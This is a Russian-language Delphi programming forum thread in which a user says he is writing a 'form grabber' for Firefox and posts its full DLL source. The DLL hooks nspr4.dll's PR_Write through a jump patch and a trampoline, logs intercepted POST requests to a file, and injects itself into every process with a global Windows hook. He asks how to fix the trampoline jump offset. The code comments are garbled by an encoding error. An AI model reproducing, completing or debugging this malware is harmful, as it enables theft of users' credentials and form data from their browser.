Четверг, 20.07.2017, 21:40 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024 
delfcode » Delphi » Вопросы по Delphi » сплайсинг: вычисление адреса прыжка
сплайсинг: вычисление адреса прыжка
vvova15Дата: Пятница, 17.02.2012, 10:13 | Сообщение # 1
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
вот пишу формграббер для файрфокса.
Code

library splice;

uses
   Windows;

type

  opcl=function (Opcode : pointer; NeedLen : integer):integer; stdcall;
  far_jmp =packed record
   PuhsOp: byte;
   PushArg: pointer;
  end;

const
   MutexName='__API_HOOK';
  var
   needed:integer;
  adr:dword;
   SH:HHOOK = 0;
   beg:array[0..50] of byte;//ïîä íà÷àëî
   pr_write_tramp:pointer;

function trampl( fp:pointer ;buf:pointer;amount:integer):integer; cdecl;
begin

asm    //ñîõðàíÿåì ðåãèñòðû  (åñëè ôîêñ çàõî÷åò èõ ïðîâåðèòü)
   push ebp
   mov ebp,esp
   sub esp,0CCh
    push ebx
   push esi
   push edi
end;

MessageBox(0,'Òðàìïëèí óïðàâëåíèå ïîëó÷èë ))',nil,0);

asm//âîññòàíâàëèâàåì ðåãñèòðû
   pop edi
   pop esi
   pop ebx
     add esp,0CCh
   mov esp,ebp
   pop ebp
   jmp pr_write_tramp//ïðûã-ïðûã
end;

end;

function pr_write_hook(fd:pointer;buf:pointer; amount:integer):integer; cdecl;
var
str:pchar;
res:string;
f:textfile;
begin
//òóò áóäåò ðåãèñòðàöèÿ ïîñò çàïðîñîâ
GetMem(str,1024);
CopyMemory(str,buf,1024);
if copy(string(str),0,4)='POST' then
begin
res:=copy(string(str),0,pos(#13#10#13#10,string(str)));
assignfile(f,'c:\log.txt');
Append(f);
Writeln(f,res);
closefile(f);
end;
result:=trampl(fd,buf,amount);
end;

Procedure SetHook();

var
  hnspr: dword;
  Bytes: dword;
  dasm:HMODULE;
  func:opcl;
  jmpcode,jump:far_jmp;
  i:integer;
  nop:byte;
  old_prot:dword;
begin
   hnspr := GetModuleHandle('nspr4.dll');
   if(hnspr=0) then exit;
   Adr  :=dword(GetProcAddress(hnspr, 'PR_Write')); //ïîëó÷àåì àäðåñ ôóíêöèè êîòîðóþ ïåðåõâàòûâàåì
   dasm:=Loadlibrary('opclen.dll');//çàãðóæàåì äèçàñåìáëåð äëèíí
   @func:=getprocaddress(dasm,'GetOpcodeLen');
   needed:=func(pointer(adr),5);//óçíàåì ñêîëüêî ïåðåíîñèòü, ÷òîá íå íàðóøàòü öåëîñòíîñòü èíñòðóêöèé
   //õóê
   jmpcode.PuhsOp:=$E9;
   jmpcode.PushArg:=pointer(dword(@pr_write_hook)-adr-dword(needed));
   nop:=$90;
   for i:=0 to needed-1 do   WriteProcessMemory(INVALID_HANDLE_VALUE, pointer(adr+dword(i)), @nop, 1, Bytes);//NOP-àåì ëèøíèå áàéòû
   WriteProcessMemory(INVALID_HANDLE_VALUE, pointer(adr), @jmpcode, sizeof(jmpcode), Bytes);//çàìåíÿåì ïåðâûå N áàéò íà êîä, ïåðåäàþùèìé óïðàâëåíèå ïåðåõâàò÷èêó

   //òðàìïëèí
   GetMem(pr_write_tramp,needed+sizeof(jump));  //âûäåëÿåì ïàìÿòü äëÿ òðàìïëèíà
   VirtualProtect(pr_write_tramp, needed+sizeof(jump), PAGE_EXECUTE_READWRITE, old_prot);//ïðîòåêòèì ÷òîá òàì ìîãëè âûïîëíÿòüñÿ èíñòðóêöèè
   jump.PuhsOp:=$E9;
   jump.PushArg:=pointer(adr-dword(pr_write_tramp)-dword(needed));
   ReadProcessMemory(INVALID_HANDLE_VALUE, pointer(Adr), @beg, needed, Bytes);//÷èòàåì ïåðâûå N áàéò(÷òîá çàïèñàòü â òðàìïëèí)
   CopyMemory(pr_write_tramp,@beg,needed);//ïåðåíîñèì íà÷àëî
   CopyMemory(pointer(dword(pr_write_tramp)+dword(needed)),@jump,sizeof(jump));//ïåðåíîñèì ïðûæîê

end;
Procedure Unhook();
var
  Bytes: dword;

  begin
  //òóò êàê áý íàäî òîðìîçíóòü âñå ïîòîêè è ïîñëå âîññòàíîâëåíèÿ ïóñòèòü äàëüøå,
  // íî ìíå ïîêà íå äî ýòîãî
   WriteProcessMemory(INVALID_HANDLE_VALUE, pointer(Adr), @beg, needed, Bytes);
end;

// ñòàâèì ãëîáàëüíûé õóê  ÷òîá äëë ãðóçèëàñü âî âñå ïðîöåññû ñðàçó
Function MessageProc(code : integer; wParam : word;
                     lParam : longint) : longint; stdcall;
begin
  CallNextHookEx(0, Code, wParam, lparam);
  Result := 0;
end;

Procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  Sleep(INFINITE);
end;
//

Procedure SetGlobalHook();
var
  hMutex: dword;
  TrId: dword;
begin
  hMutex := CreateMutex(nil, false, 'AdvareHook');
  if GetLastError = 0 then
  CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
  CloseHandle(hMutex);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
   case dwReason of
     DLL_PROCESS_ATTACH: begin
                           SetGlobalHook();
                           Randomize();
                           SetHook()
                         end;
     DLL_PROCESS_DETACH: UnHook();
   end;
end;

begin
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

здесь не правильно вычисляется offset прыжка на трамплин.
до этого вместо динамически выделяемой памяти для коды была просто функция
Code

function trampl( fp:pointer ;buf:pointer;amount:integer):integer; cdecl;
begin
asm
nop
nop
nop
nop
...
nop
end;//число nop-ов ~20-30
end;

и по адресу этой функции писалось начало и джамп на продолжение, но т.к. это быдлокод и занимает много места я решил сделать буфер, писать тиуда начало функции и прыжок и из трамплина прыгать на адрес буфера с кодом.

по ижже когда фокс грузит длл-ку должен вылезать мессаджбокс, но он вылезает только из функции перехватчика.
вопрос: по какой формуле вычислять адрес прыжка из функции трамплина на оригинальную функцию?



ICQ 185-398
 
vvova15Дата: Пятница, 17.02.2012, 10:15 | Сообщение # 2
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
да используется и дизасемблер длинн инструкций от slesh-а
(прикрепил в аттач)
Прикрепления: opclen.dll(1Kb)



ICQ 185-398
 
Волк-1024Дата: Пятница, 17.02.2012, 13:23 | Сообщение # 3
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
vvova15, Какие параметры принимает функция GetOpcodeLen из библиотеке? Просто вместо коментариев одни кракозябры.

Pascal, C\C++, Assembler, Python
 
vvova15Дата: Пятница, 17.02.2012, 14:24 | Сообщение # 4
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
Code

function  opcl(Opcode : pointer; NeedLen : integer):integer; stdcall;   

так то windows api фнкции можно не задумываясь сплайсить - там в первые 5 байт влезают целые инструкции и можно без б переносить 5 байт на траплин.
но nspr4 - не виндовская либа и как показал дизасеблер длинн там 6 байт надо переносить чтоб не нарушать целостность инструкций



ICQ 185-398
 
delfcode » Delphi » Вопросы по Delphi » сплайсинг: вычисление адреса прыжка
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz